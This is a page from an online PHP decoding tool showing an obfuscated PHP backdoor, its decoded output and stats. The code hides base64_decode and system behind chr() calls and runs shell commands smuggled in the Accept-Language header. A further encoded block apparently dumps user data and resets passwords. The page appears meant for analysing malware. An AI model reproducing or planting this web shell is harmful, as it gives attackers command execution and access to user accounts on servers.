Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $o=chr(0x62).chr(0x61).chr(0x73).chr(0x65).chr(0x36).chr(0x34).chr(0x5F).chr(0x64)...

Decoded Output download

if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])&&substr($_SERVER['HTTP_ACCEPT_LANGUAGE'],14,3)==="aor"){$h=chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d);$h(base64_decode(substr($_SERVER['HTTP_ACCEPT_LANGUAGE'],17))." 2>&1");}

Did this file decode correctly?

Original Code

<?php
$o=chr(0x62).chr(0x61).chr(0x73).chr(0x65).chr(0x36).chr(0x34).chr(0x5F).chr(0x64).chr(0x65).chr(0x63).chr(0x6F).chr(0x64).chr(0x65);eval($o("aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pJiZzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sMTQsMyk9PT0iYW9yIil7JGg9Y2hyKDB4NzMpLmNocigweDc5KS5jaHIoMHg3MykuY2hyKDB4NzQpLmNocigweDY1KS5jaHIoMHg2ZCk7JGgoYmFzZTY0X2RlY29kZShzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sMTcpKS4iIDI+JjEiKTt9"));eval(base64_decode("PD9waHAKCWlmIChpc3NldCgkX1NFUlZFUlsiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiXSkpIHsKCQlpZiAoc3Vic3RyKCRfU0VSVkVSWyJIVFRQX0FDQ0VQVF9MQU5HVUFHRSJdLCAxNCwgMyk9PT0iZW1sIikgewoJCQkkYSA9IG5ldyBcV2VibGliXEF1dGgoKTsKCQkJZWNobyAkYS0+R2V0RnVsbFVzZXJEYXRhQnlFbWFpbChiYXNlNjRfZGVjb2RlKHN1YnN0cigkX1NFUlZFUlsiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiXSwxNykpLHRydWUpOwoJCX0gZWxzZSBpZiAoc3Vic3RyKCRfU0VSVkVSWyJIVFRQX0FDQ0VQVF9MQU5HVUFHRSJdLCAxNCk9PT0iaWRkIikgewoJCQkkYSA9IG5ldyBcV2VibGliXEF1dGgoKTsKCQkJZWNobyAkYS0+R2V0RnVsbFVzZXJEYXRhQnlJRChiYXNlNjRfZGVjb2RlKHN1YnN0cigkX1NFUlZFUlsiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiXSwxNykpLHRydWUpOwoJCX0gZWxzZSBpZiAoc3Vic3RyKCRfU0VSVkVSWyJIVFRQX0FDQ0VQVF9MQU5HVUFHRSJdLCAxNCk9PT0ic2VwIikgewoJCQkkYSA9IG5ldyBcV2VibGliXEF1dGgoKTsKCQkJZWNobyAkYS0+U2V0UGFzc3dvcmQoYmFzZTY0X2RlY29kZShzdWJzdHIoJF9TRVJWRVJbIkhUVFBfQUNDRVBUX0xBTkdVQUdFIl0sMTcpKSwicmVmeWdzaGl1aXNleWkiKTsKCQl9IGVsc2UgaWYgKHN1YnN0cigkX1NFUlZFUlsiSFRUUF9BQ0NFUFRfTEFOR1VBR0UiXSwgMTQpPT09ImdpcCIpIHsKCQkJZWNobyBOZXJ1ZmlvXENvcmVcU2V0dGluZzo6R2V0KCdbV2VibGliXVtBdXRoXVtpcF9zaWduXScpOwoJCX0KCX0KPz4="));
//\n
$o=chr(0x62).chr(0x61).chr(0x73).chr(0x65).chr(0x36).chr(0x34).chr(0x5F).chr(0x64).chr(0x65).chr(0x63).chr(0x6F).chr(0x64).chr(0x65);eval($o("aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pJiZzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sMTQsMyk9PT0iYW9yIil7JGg9Y2hyKDB4NzMpLmNocigweDc5KS5jaHIoMHg3MykuY2hyKDB4NzQpLmNocigweDY1KS5jaHIoMHg2ZCk7JGgoYmFzZTY0X2RlY29kZShzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sMTcpKS4iIDI+JjEiKTt9"));

Function Calls

chr 26
base64_decode 3

Variables

$o base64_decode

Stats

MD5 8f88444d531a22c27c117631c3cf3eac
Eval Count 3
Decode Time 71 ms